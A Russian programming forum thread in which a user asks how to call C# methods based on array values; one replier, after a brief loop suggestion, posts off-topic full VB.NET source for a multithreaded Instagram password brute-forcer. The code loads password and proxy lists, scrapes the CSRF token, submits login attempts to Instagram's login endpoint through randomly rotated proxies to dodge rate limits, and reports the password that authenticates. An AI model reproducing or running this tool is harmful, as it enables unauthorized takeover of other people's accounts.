Здравствуйте! Сегодня: Сб, 27 Май 2017, Ваш IP: 54.162.69.178 Войти через loginza
 
Вход | Регистрация | Забыли пароль?
Мой Kbyte.Ru
> Список форумов Kbyte.Ru - - Общие вопросы программирования
+ Добавить ответ | + Создать новую тему Страница: 1
Тема: Выполнение методов в программе с помощью элементов массива. · +  +  дата добавления: 20.04.2017 / 09:25
Автор темы:
Musicman
Musicman
тем: 1 / ответов: 0 / благодарностей: 0 / репутация: 0
ответов: 0
создал(а) тем: 1


Работаю над программой и ни
как не могу реализовать ее
основную задачу в коде.
Программа должна, используя
разные значения элементов массива,
как "ключи шаблоны" для
вызова и выполнения разных
(не одного) методов. Например:
Есть массив из 5 элементов
string[] array = new string[]
{"1Do","2Pause","3Repeat","1Do","4Stop"};
Есть уже готовые 5 методов.
Do(), Pause(), Repeat(), Stop().
Программа читает массив и
выполняет методы в том порядке
как указано в массиве, а именно
так:
array[0](1Do) выполняется метод Do()
array[1](2Pause) выполняется метод Pause()
array[2](3Repeat) выполняется метод Repeat()
array[3](1Do) выполняется метод Do()
array[4](4Stop) выполняется метод Stop()

Вот примерный код.
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;

namespace Theme_2
{
    class Program
    {
        static void Main(string[] args)
        {
            string[] array = new string[]
                {"1Do","2Pause","3Repeat","1Do","4Stop"};

            // Проверка работы методов

            Program pr = new Program();
            pr.Do();
            pr.Pause();
            pr.Repeat();
            pr.Stop();

            // Далее выполняем методы
            // с помощью массива array

            // ... 

            Console.ReadLine();
        }

        public string Do()
        {
            Console.WriteLine("\n Выполняется метод Do");
            return "Do Work";
        }

        public string Pause()
        {
            Console.WriteLine("\n Выполняется метод Pause");
            return "Pause Work";
        }

        public string Repeat()
        {
            Console.WriteLine("\n Выполняется метод Repeat");
            return "Repeat Work";
        }

        public string Stop()
        {
            Console.WriteLine("\n Выполняется метод Stop");
            return "Stop Work";
        }
    }
}
 
Ответ # 1 # · +x1 +  дата добавления: 01.05.2017 / 12:08
Автор ответа:
i32
i32
тем: 71 / ответов: 280 / благодарностей: 2 / репутация: 37
ответов: 280
создал(а) тем: 71


For i As Integer = 0 To 4
Next
Цикл наверно...Если 0 то Do() если 1 то Pause()
или case
 
Ответ # 2 # · +x1 +  дата добавления: 15.05.2017 / 13:17
Автор ответа:
i32
i32
тем: 71 / ответов: 280 / благодарностей: 2 / репутация: 37
ответов: 280
создал(а) тем: 71


Imports System.IO
Imports System.Net
Imports System.Text
Imports System.Text.RegularExpressions

Public Class Form1
    Dim a, thread1, thread2 As System.Threading.Thread
    Public Threads, Threads2 As New List(Of Threading.Thread) ' Лист потоков
    Public Good, Bad, ProxyCount, ThreadsCount, ThreadsCount_q As Int32  ' Пе
    Dim logincookie As CookieContainer
    Dim tempCookies As New CookieContainer
    Dim req As Net.HttpWebRequest
    Dim resp As Net.HttpWebResponse
    Dim str, str2 As IO.Stream
    Dim postReq As HttpWebRequest
    Dim postreqreader As StreamReader
    Dim postresponse As HttpWebResponse
    Dim thepage As String
    Public SourcePath, ProxyPath As String

    Public sourc As New ArrayList

    Public isRunning As Boolean
    Private Sub Button4_Click(sender As Object, e As EventArgs) Handles Button4.Click
        checkin()
    End Sub

    Private Sub Button5_Click(sender As Object, e As EventArgs) Handles Button5.Click
        MsgBox(Getserverr())
    End Sub

    Private Sub Button2_Click(sender As Object, e As EventArgs) Handles Button2.Click
        cookie()
    End Sub

    Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
        Label1.Text = ""
        ' sourc = Nothing
        Dim fd As OpenFileDialog = New OpenFileDialog()
        fd.Title = "Instagram_PASSWORD"
        fd.Filter = "txt files (*.txt)|*.txt|All files (*.*)|*.*"
        fd.FilterIndex = 2
        '  fd.RestoreDirectory = True
        If fd.ShowDialog() = DialogResult.OK Then
            SourcePath = fd.FileName
            LoadSource()
            '  Dim mpass() = File.ReadAllLines(SourcePath, Encoding.Default)
            ' sourc.AddRange(mpass)
            ' Label1.Text = sourc.Count
        End If
    End Sub

    Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
        Label1.Text = 0
        Label5.Text = 0
        Label7.Text = 0
        Label4.Text = 0
        Label6.Text = 0
        Bad = 0
        Good = 0
        ThreadsCount_q = 0
    End Sub

    Private Sub Button3_Click(sender As Object, e As EventArgs) Handles Button3.Click
        Label3.Text = ""
        ' mprox = Nothing
        Dim fdd As OpenFileDialog = New OpenFileDialog()
        fdd.Title = "Instagram_PROXY"
        fdd.Filter = "txt files (*.txt)|*.txt|All files (*.*)|*.*"
        ' fdd.FilterIndex = 2
        '    fdd.RestoreDirectory = True
        If fdd.ShowDialog() = DialogResult.OK Then
            ProxyPath = fdd.FileName
            Dim mproxx() = File.ReadAllLines(ProxyPath, Encoding.Default)
            mprox.AddRange(mproxx)
            Label3.Text = mprox.Count
        End If
    End Sub

    Public Sub LoadSource() ' Загружаем Source
        Try
            Dim a As New ArrayList
            a.AddRange(IO.File.ReadAllLines(SourcePath))
            For i = 0 To a.Count - 1
                Source.Enqueue(a(i))
                Label1.Text = Source.Count
            Next
        Catch ex As Exception
            MessageBox.Show(ex.Message)
        End Try
    End Sub
    Public Sub checkin()
        '  Dim maxThreads As Integer = NumericUpDown1.Value 'максимально допустимое число потоков
        If NumericUpDown1.Value = 0 Then
            ThreadsCount = 1
        Else
            ThreadsCount = NumericUpDown1.Value
        End If
        For p As Integer = 0 To ThreadsCount - 1
            Dim input As Integer = p
            a = New Threading.Thread(AddressOf MyThreads)
            a.IsBackground = True
            a.Start(input)
            Threads.Add(a)
            isRunning = True
        Next
    End Sub
    Sub MyThreads(ByVal input As Object)

        CheckForIllegalCrossThreadCalls = False
        Dim index__2 As Integer = input
        '  While isRunning
        '  For i As Integer = index__2 To Source.Count - 1
        Do While Source.Count > 0
            ThreadsCount_q += 1
            isRunning = True
            Dim surz As String
            Dim data As String = Source.Dequeue
            '  surz = Source(i).ToString()
            '  MsgBox(data)
            ' Source.RemoveAt(i) ' удаляем из списка
            ' Source.Items.Remove(textToRemove)
            If chek(data) = True Then
                Good += 1
                ThreadsCount_q -= 1 : If ThreadsCount_q < 0 Then ThreadsCount_q = 0
                dgod(Good, goodpas, ThreadsCount_q)

                '  i -= 1
                '  isRunning = False
                'Threads(input).Abort()
                '  For y As Integer = 0 To Threads.Count - 1 ' Перебираем все потоки в списке
                ' Threads(y).Abort() ' Принудительно завершаем каждый поток
                '  Next
                ' Return
            Else

                Bad += 1
                ThreadsCount_q -= 1 : If ThreadsCount_q < 0 Then ThreadsCount_q = 0
                badd(Bad, ThreadsCount_q, check)
                ' i -= 1
            End If
            ' Next
        Loop
    End Sub
    Private Delegate Sub WriteText(ByVal bad As Integer, ByVal th As Integer, ByVal спусл As String) ' Делегат
    Sub badd(ByVal bad As Integer, ByVal th As Integer, ByVal спусл As String) ' Процедура делегата
        If Not (Me.InvokeRequired) Then   ' Если запрос из р
            Label1.Text = Source.Count
            Label5.Text = bad
            Label7.Text = th
            Label2.Text = спусл
        Else ' Если доступ из другого потока, то используем делегат
            Me.Invoke(New WriteText(AddressOf badd), bad, th, спусл)
        End If
    End Sub

    Private Delegate Sub Writegood(ByVal good As Integer, ByVal pps As String, ByVal ThreadsCount_q As Integer) ' Делегат 
    Sub dgod(ByVal good As Integer, ByVal pps As String, ByVal ThreadsCount_q As Integer)
        If Not (Me.InvokeRequired) Then   ' Если
            Label4.Text = pps
            Label6.Text = good
            Label7.Text = ThreadsCount_q
            isRunning = False
            For y As Integer = 0 To Threads.Count - 1 ' Перебираем все потоки в списке
                Threads(y).Abort() ' Принудительно завершаем каждый поток]

            Next
            Label7.Text = 0
            Return
        Else ' Если доступ из другого потока, то используем делегат
            Me.Invoke(New Writegood(AddressOf dgod), good, pps, ThreadsCount_q)
        End If
    End Sub

    Public Sub cookie()
        Dim tempCookies As New CookieContainer
        Dim postReq As HttpWebRequest = DirectCast(WebRequest.Create("https://www.instagram.com/accounts/login/"), HttpWebRequest)
        postReq.CookieContainer = tempCookies
        postReq.AllowAutoRedirect = False
        Dim postresponse As HttpWebResponse
        postresponse = DirectCast(postReq.GetResponse(), HttpWebResponse)
        tempCookies.Add(postresponse.Cookies)
        logincookie = tempCookies
        Dim postreqreader As New StreamReader(postresponse.GetResponseStream())
        Dim thepage As String = postreqreader.ReadToEnd
        '''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
        Dim soq As String = thepage
        '  Dim m As Match = Regex.Match(soq, """csrf_token""\x3A ""(?<Bllw>.*?)"",")
        ' Label1.Text = WebUtility.UrlEncode(m.Groups("Bllw").Value)
        Dim CSRFToken As String = Regex.Match(soq, """csrf_token"": ""(\w+)""").Groups(1).Value

        Dim postData As String = "&username=" & WebUtility.UrlEncode(TextBox1.Text) & "&password=" & WebUtility.UrlEncode(TextBox2.Text)
        Dim encoding As New ASCIIEncoding
        Dim byteData As Byte() = encoding.GetBytes(postData)

        postReq = DirectCast(WebRequest.Create("https://www.instagram.com/accounts/login/ajax/"), HttpWebRequest)
        postReq.Method = "POST"
        postReq.KeepAlive = True
        ' postReq.Timeout = 100000
        postReq.CookieContainer = tempCookies

        postReq.Accept = "*/*"
        postReq.ContentType = "application/x-www-form-urlencoded"
        postReq.Referer = "https://www.instagram.com/accounts/login/"
        postReq.Headers.Add("Cache-Control", "no-cache")
        postReq.Headers.Add("Accept-Language", "ru,en-US;q=0.7,en;q=0.3")
        postReq.Headers.Add("X-Instagram-AJAX", "1")
        postReq.Headers.Add("X-CSRFToken", CSRFToken)
        postReq.Headers.Add("X-Requested-With", "XMLHttpRequest")
        postReq.Headers.Add("Accept-Encoding", "gzip, deflate")
        postReq.UserAgent = "Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)"
        postReq.AllowAutoRedirect = True
        postReq.ContentLength = byteData.Length
        Dim postreqstream As Stream = postReq.GetRequestStream()
        postreqstream.Write(byteData, 0, byteData.Length)
        postreqstream.Close()
        postresponse = DirectCast(postReq.GetResponse(), HttpWebResponse)
        tempCookies.Add(postresponse.Cookies)
        logincookie = tempCookies
        str = postresponse.GetResponseStream()
        If (postresponse.ContentEncoding.ToLower().Contains("gzip")) Then
            str = New IO.Compression.GZipStream(str, IO.Compression.CompressionMode.Decompress)
        ElseIf (postresponse.ContentEncoding.ToLower().Contains("deflate")) Then
            str = New IO.Compression.DeflateStream(str, IO.Compression.CompressionMode.Decompress)
        End If
        thepage = New IO.StreamReader(str, System.Text.Encoding.GetEncoding(1251)).ReadToEnd
        Dim soq1 As String = thepage
        Dim m1 As Match = Regex.Match(soq1, """user"": (?<Bllw>.*?), ""status")
        ' Dim ddr As String = Regex.Match(soq1, "{""authenticated"": (\w+),").Groups(1).Value
        If thepage.Contains("authenticated"": true") Then
            MsgBox("true")
        Else
            MsgBox("False")
        End If
        Label2.Text = (m1.Groups("Bllw").Value)

        '''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
    End Sub
End Class

Както так Леха извенит наверно..
 
Ответ # 3 # · +x1 +  дата добавления: 15.05.2017 / 13:31
Автор ответа:
i32
i32
тем: 71 / ответов: 280 / благодарностей: 2 / репутация: 37
ответов: 280
создал(а) тем: 71


Molekm забыл...
Imports System.IO
Imports System.Net
Imports System.Text
Imports System.Text.RegularExpressions

Module aushh
    Dim logincookie As CookieContainer
    Dim tempCookies As New CookieContainer
    Dim str As IO.Stream
    Public goodpas, check As String
    Public mprox As New ArrayList
    Dim proxyt As New WebProxy
    Public Source As New Queue(Of String)
    Public Function chek(ByVal pass As String) As Boolean
2:      Try
            '  Dim myProxy As New WebProxy(Getserverr())

            proxyt = GetRandomProxy()
            Dim tempCookies As New CookieContainer
            Dim postReq As HttpWebRequest = DirectCast(WebRequest.Create("https://www.instagram.com/accounts/login/"), HttpWebRequest)
            postReq.Timeout = 10000
            postReq.Proxy = proxyt
            postReq.CookieContainer = tempCookies
            postReq.AllowAutoRedirect = False
            Dim postresponse As HttpWebResponse
            postresponse = DirectCast(postReq.GetResponse(), HttpWebResponse)
            tempCookies.Add(postresponse.Cookies)
            logincookie = tempCookies
            Dim postreqreader As New StreamReader(postresponse.GetResponseStream())
            Dim thepage As String = postreqreader.ReadToEnd
            '''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
            Dim soq As String = thepage
            Dim CSRFToken As String = Regex.Match(soq, """csrf_token"": ""(\w+)""").Groups(1).Value

            Dim postData As String = "&username=" & WebUtility.UrlEncode(Form1.TextBox1.Text) & "&password=" & WebUtility.UrlEncode(pass)
            Dim encoding As New ASCIIEncoding
            Dim byteData As Byte() = encoding.GetBytes(postData)

            postReq = DirectCast(WebRequest.Create("https://www.instagram.com/accounts/login/ajax/"), HttpWebRequest)
            postReq.Proxy = proxyt
            postReq.Method = "POST"
            postReq.KeepAlive = True
            '  postReq.Timeout = 4000
            postReq.CookieContainer = tempCookies

            postReq.Accept = "*/*"
            postReq.ContentType = "application/x-www-form-urlencoded"
            postReq.Referer = "https://www.instagram.com/accounts/login/"
            postReq.Headers.Add("Cache-Control", "no-cache")
            postReq.Headers.Add("Accept-Language", "ru,en-US;q=0.7,en;q=0.3")
            postReq.Headers.Add("X-Instagram-AJAX", "1")
            postReq.Headers.Add("X-CSRFToken", CSRFToken)
            postReq.Headers.Add("X-Requested-With", "XMLHttpRequest")
            postReq.Headers.Add("Accept-Encoding", "gzip, deflate")
            postReq.UserAgent = "Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)"
            postReq.AllowAutoRedirect = False
            postReq.ContentLength = byteData.Length
            Dim postreqstream As Stream = postReq.GetRequestStream()
            postreqstream.Write(byteData, 0, byteData.Length)
            postreqstream.Close()
            postresponse = DirectCast(postReq.GetResponse(), HttpWebResponse)
            tempCookies.Add(postresponse.Cookies)
            logincookie = tempCookies
            str = postresponse.GetResponseStream()
            If (postresponse.ContentEncoding.ToLower().Contains("gzip")) Then
                str = New IO.Compression.GZipStream(str, IO.Compression.CompressionMode.Decompress)
            ElseIf (postresponse.ContentEncoding.ToLower().Contains("deflate")) Then
                str = New IO.Compression.DeflateStream(str, IO.Compression.CompressionMode.Decompress)
            End If
            thepage = New IO.StreamReader(str, System.Text.Encoding.GetEncoding(1251)).ReadToEnd
            Dim soq1 As String = thepage
            Dim m1 As Match = Regex.Match(soq1, """user"": (?<Bllw>.*?), ""status")
            check = (m1.Groups("Bllw").Value)
            ' Dim ddr As String = Regex.Match(soq1, "{""authenticated"": (\w+),").Groups(1).Value
            If thepage.Contains("authenticated"": true") Then
                MsgBox("             нашел                ")
                goodpas = pass
                Return True
            Else
                Return False
            End If

        Catch ex As Exception
            Source.Enqueue(pass)
            ' GoTo 2
        End Try
    End Function
    Public Function Getserverr() As String

        Try
1:
            Dim r As New Random ' Генератор случаных чисел
            Dim f As Integer = r.Next(1, mprox.Count)
            Dim serv1 As String = mprox(f)
            Return serv1
        Catch ex As Exception 'Если поймали исключение, то начинаем все сначала
            GoTo 1
        End Try
    End Function
    Private Function GetRandomProxy() As WebProxy

        Try
1:
                Dim r As New Random ' Генератор случаных чисел
                Dim i As Int32 = r.Next(1, mprox.Count) ' Генерируем случайное число
                Dim ProxyAdr As String = mprox(i) ' Берем случайную проксю из списка
                Dim prox As New WebProxy(ProxyAdr) ' И приводим к типу WebProxy
                Return prox
            Catch ex As Exception 'Если поймали исключение, то начинаем все сначала
                GoTo 1
            End Try

    End Function
End Module
 
Страница: 1 + Добавить ответ | + Создать новую тему